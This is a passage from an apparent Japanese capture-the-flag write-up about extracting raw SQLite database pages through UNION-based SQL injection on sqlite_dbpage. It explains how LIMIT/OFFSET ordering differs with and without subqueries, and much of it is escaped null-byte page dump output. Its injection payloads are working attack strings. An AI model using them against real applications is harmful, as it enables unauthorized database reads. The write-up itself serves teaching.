x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x009\x03y\tAlpaca{Harder_version: `if &amp;#34;secret&amp;#34; in value.lower()`}&amp;#39;!
&lt;/code>&lt;/pre>&lt;p>あるいは，&lt;code>LIMIT&lt;/code>と&lt;code>OFFSET&lt;/code>を用いることでも同様に取得できる．&lt;br>
以下のようにサブクエリを用いた場合，&lt;code>OFFSET&lt;/code>は0インデックスであるのに対して，&lt;code>pgno&lt;/code>は1インデックスなので，&lt;br>
OFFSET = pgno − 1 の関係が成り立つ．&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 3), 1 --
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 4), 1 --
&lt;/code>&lt;/pre>&lt;p>以下のようにサブクエリを用いずに書くことも可能だが，サブクエリを用いた場合とは必ずしも &lt;code>OFFSET&lt;/code> の値が一致しない．&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 0 --
&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 2 --
&lt;/code>&lt;/pre>&lt;p>各種パターンを比較した結果，以下の対応関係が成立していた．&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 0), 1 --
= &amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 4 --
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 1), 1 --
= &amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 3 --
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 2), 1 --
= &amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 1 --
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 3), 1 --
= &amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 2 --
&amp;#39; UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET 4), 1 --
= &amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET 0 --
&lt;/code>&lt;/pre>&lt;details class="article markdown-body">&lt;summary>
サブクエリの使用の有無で必ずしも OFFSET の値が一致しない理由
&lt;/summary>
&lt;p>これは SQLite における &lt;code>UNION&lt;/code> と &lt;code>LIMIT / OFFSET&lt;/code> の評価順序の違い によるものであると考えられる．&lt;/p>
&lt;h4 id="サブクエリの場合">サブクエリの場合&lt;/h4>
&lt;pre tabindex="0">&lt;code>UNION SELECT (SELECT data FROM sqlite_dbpage LIMIT 1 OFFSET N), 1
&lt;/code>&lt;/pre>&lt;ul>
&lt;li>内側の SELECT は 単独で先に評価 される&lt;/li>
&lt;li>sqlite_dbpage は pgno 昇順（実質的な物理順） で走査される&lt;/li>
&lt;li>OFFSET = pgno − 1 が素直に成立する&lt;/li>
&lt;/ul>
&lt;h4 id="サブクエリを用いずfrom-sqlite_dbpage-を直接-union-した場合">サブクエリを用いず，FROM sqlite_dbpage を直接 UNION した場合&lt;/h4>
&lt;pre tabindex="0">&lt;code>UNION SELECT data, 1 FROM sqlite_dbpage LIMIT 1 OFFSET N
&lt;/code>&lt;/pre>&lt;ul>
&lt;li>UNION は 2 つの SELECT 結果を結合&lt;/li>
&lt;li>LIMIT / OFFSET は UNION 後の結果集合に対して適用される&lt;/li>
&lt;li>必ずしも OFFSET = pgno − 1 が成立しない&lt;/li>
&lt;/ul>
&lt;p>参考に pgno と OFFSET を変えたときの全出力を載せておく．&lt;/p>
&lt;pre tabindex="0">&lt;code>&amp;#39; UNION SELECT data, 1 FROM sqlite_dbpage WHERE pgno=1 --
Hello, b&amp;#39;SQLite format 3\x00\x10\x00\x01\x01\x00@ \x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00.zq\r\x0f\xf8\x00\x04\x0e\xc3\x00\x0fL\x0f\xcd\x0e\xc3\x0f\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\